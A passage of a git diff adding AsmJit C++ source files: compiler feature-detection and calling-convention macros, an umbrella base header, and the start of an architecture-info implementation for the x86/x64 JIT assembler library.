(__has_extension(__cxx_constexpr__)) +# define ASMJIT_CC_HAS_DECLTYPE (__has_extension(__cxx_decltype__)) +# define ASMJIT_CC_HAS_DEFAULT_FUNCTION (__has_extension(__cxx_defaulted_functions__)) +# define ASMJIT_CC_HAS_DELETE_FUNCTION (__has_extension(__cxx_deleted_functions__)) +# define ASMJIT_CC_HAS_FINAL (__has_extension(__cxx_override_control__)) +# define ASMJIT_CC_HAS_INITIALIZER_LIST (__has_extension(__cxx_generalized_initializers__)) +# define ASMJIT_CC_HAS_LAMBDA (__has_extension(__cxx_lambdas__)) +# define ASMJIT_CC_HAS_NATIVE_CHAR (1) +# define ASMJIT_CC_HAS_NATIVE_WCHAR_T (1) +# define ASMJIT_CC_HAS_NATIVE_CHAR16_T (__has_extension(__cxx_unicode_literals__)) +# define ASMJIT_CC_HAS_NATIVE_CHAR32_T (__has_extension(__cxx_unicode_literals__)) +# define ASMJIT_CC_HAS_NOEXCEPT (__has_extension(__cxx_noexcept__)) +# define ASMJIT_CC_HAS_NULLPTR (__has_extension(__cxx_nullptr__)) +# define ASMJIT_CC_HAS_OVERRIDE (__has_extension(__cxx_override_control__)) +# define ASMJIT_CC_HAS_RVALUE (__has_extension(__cxx_rvalue_references__)) +# define ASMJIT_CC_HAS_STATIC_ASSERT (__has_extension(__cxx_static_assert__)) +# define ASMJIT_CC_HAS_VARIADIC_TEMPLATES (__has_extension(__cxx_variadic_templates__)) +#endif + +#if ASMJIT_CC_CODEGEAR +# define ASMJIT_CC_HAS_DECLSPEC_ALIGN (ASMJIT_CC_CODEGEAR >= 0x0610) +# define ASMJIT_CC_HAS_DECLSPEC_FORCEINLINE (0) +# define ASMJIT_CC_HAS_DECLSPEC_NOINLINE (0) +# define ASMJIT_CC_HAS_DECLSPEC_NORETURN (ASMJIT_CC_CODEGEAR >= 0x0610) +# define ASMJIT_CC_HAS_ALIGNAS (0) +# define ASMJIT_CC_HAS_ALIGNOF (0) +# define ASMJIT_CC_HAS_CONSTEXPR (0) +# define ASMJIT_CC_HAS_DECLTYPE (ASMJIT_CC_CODEGEAR >= 0x0610) +# define ASMJIT_CC_HAS_DEFAULT_FUNCTION (0) +# define ASMJIT_CC_HAS_DELETE_FUNCTION (0) +# define ASMJIT_CC_HAS_FINAL (0) +# define ASMJIT_CC_HAS_INITIALIZER_LIST (0) +# define ASMJIT_CC_HAS_LAMBDA (0) +# define ASMJIT_CC_HAS_NATIVE_CHAR (1) +# define ASMJIT_CC_HAS_NATIVE_WCHAR_T (1) +# define ASMJIT_CC_HAS_NATIVE_CHAR16_T (0) +# define ASMJIT_CC_HAS_NATIVE_CHAR32_T (0) +# define ASMJIT_CC_HAS_NOEXCEPT (0) +# define ASMJIT_CC_HAS_NULLPTR (0) +# define ASMJIT_CC_HAS_OVERRIDE (0) +# define ASMJIT_CC_HAS_RVALUE (ASMJIT_CC_CODEGEAR >= 0x0610) +# define ASMJIT_CC_HAS_STATIC_ASSERT (ASMJIT_CC_CODEGEAR >= 0x0610) +# define ASMJIT_CC_HAS_VARIADIC_TEMPLATES (0) +#endif + +#if ASMJIT_CC_GCC +# define ASMJIT_CC_HAS_ATTRIBUTE (1) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALIGNED (ASMJIT_CC_GCC_GE(2, 7, 0)) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALWAYS_INLINE (ASMJIT_CC_GCC_GE(4, 4, 0) && !ASMJIT_CC_MINGW) +# define ASMJIT_CC_HAS_ATTRIBUTE_NOINLINE (ASMJIT_CC_GCC_GE(3, 4, 0) && !ASMJIT_CC_MINGW) +# define ASMJIT_CC_HAS_ATTRIBUTE_NORETURN (ASMJIT_CC_GCC_GE(2, 5, 0)) +# define ASMJIT_CC_HAS_ATTRIBUTE_OPTIMIZE (ASMJIT_CC_GCC_GE(4, 4, 0)) +# define ASMJIT_CC_HAS_BUILTIN_ASSUME (0) +# define ASMJIT_CC_HAS_BUILTIN_ASSUME_ALIGNED (ASMJIT_CC_GCC_GE(4, 7, 0)) +# define ASMJIT_CC_HAS_BUILTIN_EXPECT (1) +# define ASMJIT_CC_HAS_BUILTIN_UNREACHABLE (ASMJIT_CC_GCC_GE(4, 5, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_ALIGNAS (ASMJIT_CC_GCC_GE(4, 8, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_ALIGNOF (ASMJIT_CC_GCC_GE(4, 8, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_CONSTEXPR (ASMJIT_CC_GCC_GE(4, 6, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_DECLTYPE (ASMJIT_CC_GCC_GE(4, 3, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_DEFAULT_FUNCTION (ASMJIT_CC_GCC_GE(4, 4, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_DELETE_FUNCTION (ASMJIT_CC_GCC_GE(4, 4, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_FINAL (ASMJIT_CC_GCC_GE(4, 7, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_INITIALIZER_LIST (ASMJIT_CC_GCC_GE(4, 4, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_LAMBDA (ASMJIT_CC_GCC_GE(4, 5, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_NATIVE_CHAR (1) +# define ASMJIT_CC_HAS_NATIVE_WCHAR_T (1) +# define ASMJIT_CC_HAS_NATIVE_CHAR16_T (ASMJIT_CC_GCC_GE(4, 5, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_NATIVE_CHAR32_T (ASMJIT_CC_GCC_GE(4, 5, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_NOEXCEPT (ASMJIT_CC_GCC_GE(4, 6, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_NULLPTR (ASMJIT_CC_GCC_GE(4, 6, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_OVERRIDE (ASMJIT_CC_GCC_GE(4, 7, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_RVALUE (ASMJIT_CC_GCC_GE(4, 3, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_STATIC_ASSERT (ASMJIT_CC_GCC_GE(4, 3, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +# define ASMJIT_CC_HAS_VARIADIC_TEMPLATES (ASMJIT_CC_GCC_GE(4, 3, 0) && ASMJIT_CC_CXX_VERSION >= 201103L) +#endif + +#if ASMJIT_CC_INTEL +# define ASMJIT_CC_HAS_ATTRIBUTE (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALIGNED (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALWAYS_INLINE (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_ATTRIBUTE_NOINLINE (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_ATTRIBUTE_NORETURN (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_ATTRIBUTE_OPTIMIZE (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_BUILTIN_EXPECT (ASMJIT_CC_INTEL_COMPAT_MODE) +# define ASMJIT_CC_HAS_DECLSPEC_ALIGN (ASMJIT_CC_INTEL_COMPAT_MODE == 0) +# define ASMJIT_CC_HAS_DECLSPEC_FORCEINLINE (ASMJIT_CC_INTEL_COMPAT_MODE == 0) +# define ASMJIT_CC_HAS_DECLSPEC_NOINLINE (ASMJIT_CC_INTEL_COMPAT_MODE == 0) +# define ASMJIT_CC_HAS_DECLSPEC_NORETURN (ASMJIT_CC_INTEL_COMPAT_MODE == 0) +# define ASMJIT_CC_HAS_ASSUME (1) +# define ASMJIT_CC_HAS_ASSUME_ALIGNED (1) +# define ASMJIT_CC_HAS_ALIGNAS (ASMJIT_CC_INTEL >= 1500) +# define ASMJIT_CC_HAS_ALIGNOF (ASMJIT_CC_INTEL >= 1500) +# define ASMJIT_CC_HAS_CONSTEXPR (ASMJIT_CC_INTEL >= 1400) +# define ASMJIT_CC_HAS_DECLTYPE (ASMJIT_CC_INTEL >= 1200) +# define ASMJIT_CC_HAS_DEFAULT_FUNCTION (ASMJIT_CC_INTEL >= 1200) +# define ASMJIT_CC_HAS_DELETE_FUNCTION (ASMJIT_CC_INTEL >= 1200) +# define ASMJIT_CC_HAS_FINAL (ASMJIT_CC_INTEL >= 1400) +# define ASMJIT_CC_HAS_INITIALIZER_LIST (ASMJIT_CC_INTEL >= 1400) +# define ASMJIT_CC_HAS_LAMBDA (ASMJIT_CC_INTEL >= 1200) +# define ASMJIT_CC_HAS_NATIVE_CHAR (1) +# define ASMJIT_CC_HAS_NATIVE_WCHAR_T (1) +# define ASMJIT_CC_HAS_NATIVE_CHAR16_T (ASMJIT_CC_INTEL >= 1400 || (ASMJIT_CC_INTEL_COMPAT_MODE > 0 && ASMJIT_CC_INTEL >= 1206)) +# define ASMJIT_CC_HAS_NATIVE_CHAR32_T (ASMJIT_CC_INTEL >= 1400 || (ASMJIT_CC_INTEL_COMPAT_MODE > 0 && ASMJIT_CC_INTEL >= 1206)) +# define ASMJIT_CC_HAS_NOEXCEPT (ASMJIT_CC_INTEL >= 1400) +# define ASMJIT_CC_HAS_NULLPTR (ASMJIT_CC_INTEL >= 1206) +# define ASMJIT_CC_HAS_OVERRIDE (ASMJIT_CC_INTEL >= 1400) +# define ASMJIT_CC_HAS_RVALUE (ASMJIT_CC_INTEL >= 1110) +# define ASMJIT_CC_HAS_STATIC_ASSERT (ASMJIT_CC_INTEL >= 1110) +# define ASMJIT_CC_HAS_VARIADIC_TEMPLATES (ASMJIT_CC_INTEL >= 1206) +#endif + +#if ASMJIT_CC_MSC +# define ASMJIT_CC_HAS_DECLSPEC_ALIGN (1) +# define ASMJIT_CC_HAS_DECLSPEC_FORCEINLINE (1) +# define ASMJIT_CC_HAS_DECLSPEC_NOINLINE (1) +# define ASMJIT_CC_HAS_DECLSPEC_NORETURN (1) +# define ASMJIT_CC_HAS_ASSUME (1) +# define ASMJIT_CC_HAS_ASSUME_ALIGNED (0) +# define ASMJIT_CC_HAS_ALIGNAS (ASMJIT_CC_MSC_GE(19, 0, 0)) +# define ASMJIT_CC_HAS_ALIGNOF (ASMJIT_CC_MSC_GE(19, 0, 0)) +# define ASMJIT_CC_HAS_CONSTEXPR (ASMJIT_CC_MSC_GE(19, 0, 0)) +# define ASMJIT_CC_HAS_DECLTYPE (ASMJIT_CC_MSC_GE(16, 0, 0)) +# define ASMJIT_CC_HAS_DEFAULT_FUNCTION (ASMJIT_CC_MSC_GE(18, 0, 0)) +# define ASMJIT_CC_HAS_DELETE_FUNCTION (ASMJIT_CC_MSC_GE(18, 0, 0)) +# define ASMJIT_CC_HAS_FINAL (ASMJIT_CC_MSC_GE(14, 0, 0)) +# define ASMJIT_CC_HAS_INITIALIZER_LIST (ASMJIT_CC_MSC_GE(18, 0, 0)) +# define ASMJIT_CC_HAS_LAMBDA (ASMJIT_CC_MSC_GE(16, 0, 0)) +# define ASMJIT_CC_HAS_NATIVE_CHAR (1) +# if defined(_NATIVE_WCHAR_T_DEFINED) +# define ASMJIT_CC_HAS_NATIVE_WCHAR_T (1) +# else +# define ASMJIT_CC_HAS_NATIVE_WCHAR_T (0) +# endif +# define ASMJIT_CC_HAS_NATIVE_CHAR16_T (ASMJIT_CC_MSC_GE(19, 0, 0)) +# define ASMJIT_CC_HAS_NATIVE_CHAR32_T (ASMJIT_CC_MSC_GE(19, 0, 0)) +# define ASMJIT_CC_HAS_NOEXCEPT (ASMJIT_CC_MSC_GE(19, 0, 0)) +# define ASMJIT_CC_HAS_NULLPTR (ASMJIT_CC_MSC_GE(16, 0, 0)) +# define ASMJIT_CC_HAS_OVERRIDE (ASMJIT_CC_MSC_GE(14, 0, 0)) +# define ASMJIT_CC_HAS_RVALUE (ASMJIT_CC_MSC_GE(16, 0, 0)) +# define ASMJIT_CC_HAS_STATIC_ASSERT (ASMJIT_CC_MSC_GE(16, 0, 0)) +# define ASMJIT_CC_HAS_VARIADIC_TEMPLATES (ASMJIT_CC_MSC_GE(18, 0, 0)) +#endif + +// Fixup some vendor specific keywords. +#if !defined(ASMJIT_CC_HAS_ASSUME) +# define ASMJIT_CC_HAS_ASSUME (0) +#endif +#if !defined(ASMJIT_CC_HAS_ASSUME_ALIGNED) +# define ASMJIT_CC_HAS_ASSUME_ALIGNED (0) +#endif + +// Fixup compilers that don't support '__attribute__'. +#if !defined(ASMJIT_CC_HAS_ATTRIBUTE) +# define ASMJIT_CC_HAS_ATTRIBUTE (0) +#endif +#if !defined(ASMJIT_CC_HAS_ATTRIBUTE_ALIGNED) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALIGNED (0) +#endif +#if !defined(ASMJIT_CC_HAS_ATTRIBUTE_ALWAYS_INLINE) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALWAYS_INLINE (0) +#endif +#if !defined(ASMJIT_CC_HAS_ATTRIBUTE_NOINLINE) +# define ASMJIT_CC_HAS_ATTRIBUTE_NOINLINE (0) +#endif +#if !defined(ASMJIT_CC_HAS_ATTRIBUTE_NORETURN) +# define ASMJIT_CC_HAS_ATTRIBUTE_NORETURN (0) +#endif +#if !defined(ASMJIT_CC_HAS_ATTRIBUTE_OPTIMIZE) +# define ASMJIT_CC_HAS_ATTRIBUTE_OPTIMIZE (0) +#endif + +// Fixup compilers that don't support '__builtin?'. +#if !defined(ASMJIT_CC_HAS_BUILTIN_ASSUME) +# define ASMJIT_CC_HAS_BUILTIN_ASSUME (0) +#endif +#if !defined(ASMJIT_CC_HAS_BUILTIN_ASSUME_ALIGNED) +# define ASMJIT_CC_HAS_BUILTIN_ASSUME_ALIGNED (0) +#endif +#if !defined(ASMJIT_CC_HAS_BUILTIN_EXPECT) +# define ASMJIT_CC_HAS_BUILTIN_EXPECT (0) +#endif +#if !defined(ASMJIT_CC_HAS_BUILTIN_UNREACHABLE) +# define ASMJIT_CC_HAS_BUILTIN_UNREACHABLE (0) +#endif + +// Fixup compilers that don't support 'declspec'. +#if !defined(ASMJIT_CC_HAS_DECLSPEC_ALIGN) +# define ASMJIT_CC_HAS_DECLSPEC_ALIGN (0) +#endif +#if !defined(ASMJIT_CC_HAS_DECLSPEC_FORCEINLINE) +# define ASMJIT_CC_HAS_DECLSPEC_FORCEINLINE (0) +#endif +#if !defined(ASMJIT_CC_HAS_DECLSPEC_NOINLINE) +# define ASMJIT_CC_HAS_DECLSPEC_NOINLINE (0) +#endif +#if !defined(ASMJIT_CC_HAS_DECLSPEC_NORETURN) +# define ASMJIT_CC_HAS_DECLSPEC_NORETURN (0) +#endif +// [@CC_FEATURES}@] + +// [@CC_API{@] +// \def ASMJIT_API +// The decorated function is asmjit API and should be exported. +#if !defined(ASMJIT_API) +# if defined(ASMJIT_STATIC) +# define ASMJIT_API +# elif ASMJIT_OS_WINDOWS +# if (ASMJIT_CC_GCC || ASMJIT_CC_CLANG) && !ASMJIT_CC_MINGW +# if defined(ASMJIT_EXPORTS) +# define ASMJIT_API __attribute__((__dllexport__)) +# else +# define ASMJIT_API __attribute__((__dllimport__)) +# endif +# else +# if defined(ASMJIT_EXPORTS) +# define ASMJIT_API __declspec(dllexport) +# else +# define ASMJIT_API __declspec(dllimport) +# endif +# endif +# else +# if ASMJIT_CC_CLANG || ASMJIT_CC_GCC_GE(4, 0, 0) || ASMJIT_CC_INTEL +# define ASMJIT_API __attribute__((__visibility__("default"))) +# endif +# endif +#endif +// [@CC_API}@] + +// [@CC_VARAPI{@] +// \def ASMJIT_VARAPI +// The decorated variable is part of asmjit API and is exported. +#if !defined(ASMJIT_VARAPI) +# define ASMJIT_VARAPI extern ASMJIT_API +#endif +// [@CC_VARAPI}@] + +// [@CC_VIRTAPI{@] +// \def ASMJIT_VIRTAPI +// The decorated class has a virtual table and is part of asmjit API. +// +// This is basically a workaround. When using MSVC and marking class as DLL +// export everything gets exported, which is unwanted in most projects. MSVC +// automatically exports typeinfo and vtable if at least one symbol of the +// class is exported. However, GCC has some strange behavior that even if +// one or more symbol is exported it doesn't export typeinfo unless the +// class itself is decorated with "visibility(default)" (i.e. asmjit_API). +#if (ASMJIT_CC_GCC || ASMJIT_CC_CLANG) && !ASMJIT_OS_WINDOWS +# define ASMJIT_VIRTAPI ASMJIT_API +#else +# define ASMJIT_VIRTAPI +#endif +// [@CC_VIRTAPI}@] + +// [@CC_INLINE{@] +// \def ASMJIT_INLINE +// Always inline the decorated function. +#if ASMJIT_CC_HAS_ATTRIBUTE_ALWAYS_INLINE +# define ASMJIT_INLINE inline __attribute__((__always_inline__)) +#elif ASMJIT_CC_HAS_DECLSPEC_FORCEINLINE +# define ASMJIT_INLINE __forceinline +#else +# define ASMJIT_INLINE inline +#endif +// [@CC_INLINE}@] + +// [@CC_NOINLINE{@] +// \def ASMJIT_NOINLINE +// Never inline the decorated function. +#if ASMJIT_CC_HAS_ATTRIBUTE_NOINLINE +# define ASMJIT_NOINLINE __attribute__((__noinline__)) +#elif ASMJIT_CC_HAS_DECLSPEC_NOINLINE +# define ASMJIT_NOINLINE __declspec(noinline) +#else +# define ASMJIT_NOINLINE +#endif +// [@CC_NOINLINE}@] + +// [@CC_NORETURN{@] +// \def ASMJIT_NORETURN +// The decorated function never returns (exit, assertion failure, etc...). +#if ASMJIT_CC_HAS_ATTRIBUTE_NORETURN +# define ASMJIT_NORETURN __attribute__((__noreturn__)) +#elif ASMJIT_CC_HAS_DECLSPEC_NORETURN +# define ASMJIT_NORETURN __declspec(noreturn) +#else +# define ASMJIT_NORETURN +#endif +// [@CC_NORETURN}@] + +// [@CC_CDECL{@] +// \def ASMJIT_CDECL +// Standard C function calling convention decorator (__cdecl). +#if ASMJIT_ARCH_X86 +# if ASMJIT_CC_HAS_ATTRIBUTE +# define ASMJIT_CDECL __attribute__((__cdecl__)) +# else +# define ASMJIT_CDECL __cdecl +# endif +#else +# define ASMJIT_CDECL +#endif +// [@CC_CDECL}@] + +// [@CC_STDCALL{@] +// \def ASMJIT_STDCALL +// StdCall function calling convention decorator (__stdcall). +#if ASMJIT_ARCH_X86 +# if ASMJIT_CC_HAS_ATTRIBUTE +# define ASMJIT_STDCALL __attribute__((__stdcall__)) +# else +# define ASMJIT_STDCALL __stdcall +# endif +#else +# define ASMJIT_STDCALL +#endif +// [@CC_STDCALL}@] + +// [@CC_FASTCALL{@] +// \def ASMJIT_FASTCALL +// FastCall function calling convention decorator (__fastcall). +#if ASMJIT_ARCH_X86 +# if ASMJIT_CC_HAS_ATTRIBUTE +# define ASMJIT_FASTCALL __attribute__((__fastcall__)) +# else +# define ASMJIT_FASTCALL __fastcall +# endif +#else +# define ASMJIT_FASTCALL +#endif +// [@CC_FASTCALL}@] + +// [@CC_REGPARM{@] +// \def ASMJIT_REGPARM(n) +// A custom calling convention which passes n arguments in registers. +#if ASMJIT_ARCH_X86 && ASMJIT_CC_HAS_ATTRIBUTE +# define ASMJIT_REGPARM(n) __attribute__((__regparm__(n))) +#else +# define ASMJIT_REGPARM(n) +#endif +// [@CC_REGPARM}@] + +// [@CC_NOEXCEPT{@] +// \def ASMJIT_NOEXCEPT +// The decorated function never throws an exception (noexcept). +#if ASMJIT_CC_HAS_NOEXCEPT +# define ASMJIT_NOEXCEPT noexcept +#else +# define ASMJIT_NOEXCEPT +#endif +// [@CC_NOEXCEPT}@] + +// [@CC_NOP{@] +// \def ASMJIT_NOP +// No operation. +#if !defined(ASMJIT_NOP) +# define ASMJIT_NOP ((void)0) +#endif +// [@CC_NOP}@] + +// [@CC_ASSUME{@] +// \def ASMJIT_ASSUME(exp) +// Assume that the expression exp is always true. +#if ASMJIT_CC_HAS_ASSUME +# define ASMJIT_ASSUME(exp) __assume(exp) +#elif ASMJIT_CC_HAS_BUILTIN_ASSUME +# define ASMJIT_ASSUME(exp) __builtin_assume(exp) +#elif ASMJIT_CC_HAS_BUILTIN_UNREACHABLE +# define ASMJIT_ASSUME(exp) do { if (!(exp)) __builtin_unreachable(); } while (0) +#else +# define ASMJIT_ASSUME(exp) ((void)0) +#endif +// [@CC_ASSUME}@] + +// [@CC_ASSUME_ALIGNED{@] +// \def ASMJIT_ASSUME_ALIGNED(p, alignment) +// Assume that the pointer 'p' is aligned to at least 'alignment' bytes. +#if ASMJIT_CC_HAS_ASSUME_ALIGNED +# define ASMJIT_ASSUME_ALIGNED(p, alignment) __assume_aligned(p, alignment) +#elif ASMJIT_CC_HAS_BUILTIN_ASSUME_ALIGNED +# define ASMJIT_ASSUME_ALIGNED(p, alignment) p = __builtin_assume_aligned(p, alignment) +#else +# define ASMJIT_ASSUME_ALIGNED(p, alignment) ((void)0) +#endif +// [@CC_ASSUME_ALIGNED}@] + +// [@CC_EXPECT{@] +// \def ASMJIT_LIKELY(exp) +// Expression exp is likely to be true. +// +// \def ASMJIT_UNLIKELY(exp) +// Expression exp is likely to be false. +#if ASMJIT_CC_HAS_BUILTIN_EXPECT +# define ASMJIT_LIKELY(exp) __builtin_expect(!!(exp), 1) +# define ASMJIT_UNLIKELY(exp) __builtin_expect(!!(exp), 0) +#else +# define ASMJIT_LIKELY(exp) (exp) +# define ASMJIT_UNLIKELY(exp) (exp) +#endif +// [@CC_EXPECT}@] + +// [@CC_FALLTHROUGH{@] +// \def ASMJIT_FALLTHROUGH +// The code falls through annotation (switch / case). +#if ASMJIT_CC_CLANG && __cplusplus >= 201103L +# define ASMJIT_FALLTHROUGH [[clang::fallthrough]] +#else +# define ASMJIT_FALLTHROUGH (void)0 +#endif +// [@CC_FALLTHROUGH}@] + +// [@CC_UNUSED{@] +// \def ASMJIT_UNUSED(x) +// Mark a variable x as unused. +#define ASMJIT_UNUSED(x) (void)(x) +// [@CC_UNUSED}@] + +// [@CC_OFFSET_OF{@] +// \def ASMJIT_OFFSET_OF(x, y). +// Get the offset of a member y of a struct x at compile-time. +#define ASMJIT_OFFSET_OF(x, y) ((int)(intptr_t)((const char*)&((const x*)0x1)->y) - 1) +// [@CC_OFFSET_OF}@] + +// [@CC_ARRAY_SIZE{@] +// \def ASMJIT_ARRAY_SIZE(x) +// Get the array size of x at compile-time. +#define ASMJIT_ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0])) +// [@CC_ARRAY_SIZE}@] + +// ============================================================================ +// [asmjit::Build - STDTYPES] +// ============================================================================ + +// [@STDTYPES{@] +#if defined(__MINGW32__) || defined(__MINGW64__) +# include +#endif +#if defined(_MSC_VER) && (_MSC_VER < 1600) +# include +# if !defined(ASMJIT_SUPPRESS_STD_TYPES) +# if (_MSC_VER < 1300) +typedef signed char int8_t; +typedef signed short int16_t; +typedef signed int int32_t; +typedef signed __int64 int64_t; +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef unsigned __int64 uint64_t; +# else +typedef __int8 int8_t; +typedef __int16 int16_t; +typedef __int32 int32_t; +typedef __int64 int64_t; +typedef unsigned __int8 uint8_t; +typedef unsigned __int16 uint16_t; +typedef unsigned __int32 uint32_t; +typedef unsigned __int64 uint64_t; +# endif +# endif +#else +# include +# include +#endif +// [@STDTYPES}@] + +// ============================================================================ +// [asmjit::Build - Dependencies] +// ============================================================================ + +#include +#include +#include +#include + +#include +#include + +#if ASMJIT_OS_POSIX +# include +#endif // ASMJIT_OS_POSIX + +// ============================================================================ +// [asmjit::Build - Additional] +// ============================================================================ + +// Build host architecture if no architecture is selected. +#if !defined(ASMJIT_BUILD_HOST) && \ + !defined(ASMJIT_BUILD_X86) && \ + !defined(ASMJIT_BUILD_ARM) +# define ASMJIT_BUILD_HOST +#endif + +// Detect host architecture if building only for host. +#if defined(ASMJIT_BUILD_HOST) +# if (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) && !defined(ASMJIT_BUILD_X86) +# define ASMJIT_BUILD_X86 +# endif // ASMJIT_ARCH_X86 +#endif // ASMJIT_BUILD_HOST + +#if ASMJIT_CC_MSC +# define ASMJIT_UINT64_C(x) x##ui64 +#else +# define ASMJIT_UINT64_C(x) x##ull +#endif + +#if ASMJIT_ARCH_LE +# define ASMJIT_PACK32_4x8(A, B, C, D) ((A) + ((B) << 8) + ((C) << 16) + ((D) << 24)) +#else +# define ASMJIT_PACK32_4x8(A, B, C, D) ((D) + ((C) << 8) + ((B) << 16) + ((A) << 24)) +#endif + +// Internal macros that are only used when building AsmJit itself. +#if defined(ASMJIT_EXPORTS) +# if !defined(ASMJIT_DEBUG) && ASMJIT_CC_HAS_ATTRIBUTE_OPTIMIZE +# define ASMJIT_FAVOR_SIZE __attribute__((__optimize__("Os"))) +# else +# define ASMJIT_FAVOR_SIZE +# endif +#endif // ASMJIT_EXPORTS + +// ============================================================================ +// [asmjit::Build - Test] +// ============================================================================ + +// Include a unit testing package if this is a `asmjit_test` build. +#if defined(ASMJIT_TEST) +# include "../../test/broken.h" +#endif // ASMJIT_TEST + +// [Guard] +#endif // _ASMJIT_BUILD_H diff --git a/asmjit/src/asmjit/base.h b/asmjit/src/asmjit/base.h new file mode 100644 index 0000000..70b7e82 --- /dev/null +++ b/asmjit/src/asmjit/base.h @@ -0,0 +1,34 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_H +#define _ASMJIT_BASE_H + +// [Dependencies] +#include "./base/arch.h" +#include "./base/assembler.h" +#include "./base/codebuilder.h" +#include "./base/codecompiler.h" +#include "./base/codeemitter.h" +#include "./base/codeholder.h" +#include "./base/constpool.h" +#include "./base/cpuinfo.h" +#include "./base/func.h" +#include "./base/globals.h" +#include "./base/inst.h" +#include "./base/logging.h" +#include "./base/operand.h" +#include "./base/osutils.h" +#include "./base/runtime.h" +#include "./base/simdtypes.h" +#include "./base/string.h" +#include "./base/utils.h" +#include "./base/vmem.h" +#include "./base/zone.h" + +// [Guard] +#endif // _ASMJIT_BASE_H diff --git a/asmjit/src/asmjit/base/arch.cpp b/asmjit/src/asmjit/base/arch.cpp new file mode 100644 index 0000000..2e849c6 --- /dev/null +++ b/asmjit/src/asmjit/base/arch.cpp @@ -0,0 +1,161 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/arch.h" + +#if defined(ASMJIT_BUILD_X86) +#include "../x86/x86operand.h" +#endif // ASMJIT_BUILD_X86 + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::ArchInfo] +// ============================================================================ + +static const uint32_t archInfoTable[] = { + // <-------------+---------------------+-----------------------+-------+ + // | Type | SubType | GPInfo| + // <-------------+---------------------+-----------------------+-------+ + ASMJIT_PACK32_4x8(ArchInfo::kTypeNone , ArchInfo::kSubTypeNone, 0, 0), + ASMJIT_PACK32_4x8(ArchInfo::kTypeX86 , ArchInfo::kSubTypeNone, 4, 8), + ASMJIT_PACK32_4x8(ArchInfo::kTypeX64 , ArchInfo::kSubTypeNone, 8, 16), + ASMJIT_PACK32_4x8(ArchInfo::kTypeX32 , ArchInfo::kSubTypeNone, 8, 16), + ASMJIT_PACK32_4x8(ArchInfo::kTypeA32 , ArchInfo::kSubTypeNone, 4, 16), + ASMJIT_PACK32_4x8(ArchInfo::kTypeA64 , ArchInfo::kSubTypeNone, 8, 32) +}; + +ASMJIT_FAVOR_SIZE void ArchInfo::init(uint32_t type, uint32_t subType) noexcept { + uint32_t index = type < ASMJIT_ARRAY_SIZE(archInfoTable) ? type : uint32_t(0); + + // Make sure the `archInfoTable` array is correctly indexed. + _signature = archInfoTable[index]; + ASMJIT_ASSERT(_type == index); + + // Even if the architecture is not known we setup its type and sub-type, + // however, such architecture is not really useful. + _type = type; + _subType = subType; +} + +// ============================================================================ +// [asmjit::ArchUtils] +// ============================================================================ + +ASMJIT_FAVOR_SIZE Error ArchUtils::typeIdToRegInfo(uint32_t archType, uint32_t& typeIdInOut, RegInfo& regInfo) noexcept { + uint32_t typeId = typeIdInOut; + + // Zero the signature so it's clear in case that typeId is not invalid. + regInfo._signature = 0; + +#if defined(ASMJIT_BUILD_X86) + if (ArchInfo::isX86Family(archType)) { + // Passed RegType instead of TypeId? + if (typeId <= Reg::kRegMax) + typeId = x86OpData.archRegs.regTypeToTypeId[typeId]; + + if (ASMJIT_UNLIKELY(!TypeId::isValid(typeId))) + return DebugUtils::errored(kErrorInvalidTypeId); + + // First normalize architecture dependent types. + if (TypeId::isAbstract(typeId)) { + if (typeId == TypeId::kIntPtr) + typeId = (archType == ArchInfo::kTypeX86) ? TypeId::kI32 : TypeId::kI64; + else + typeId = (archType == ArchInfo::kTypeX86) ? TypeId::kU32 : TypeId::kU64; + } + + // Type size helps to construct all kinds of registers. If the size is zero + // then the TypeId is invalid. + uint32_t size = TypeId::sizeOf(typeId); + if (ASMJIT_UNLIKELY(!size)) + return DebugUtils::errored(kErrorInvalidTypeId); + + if 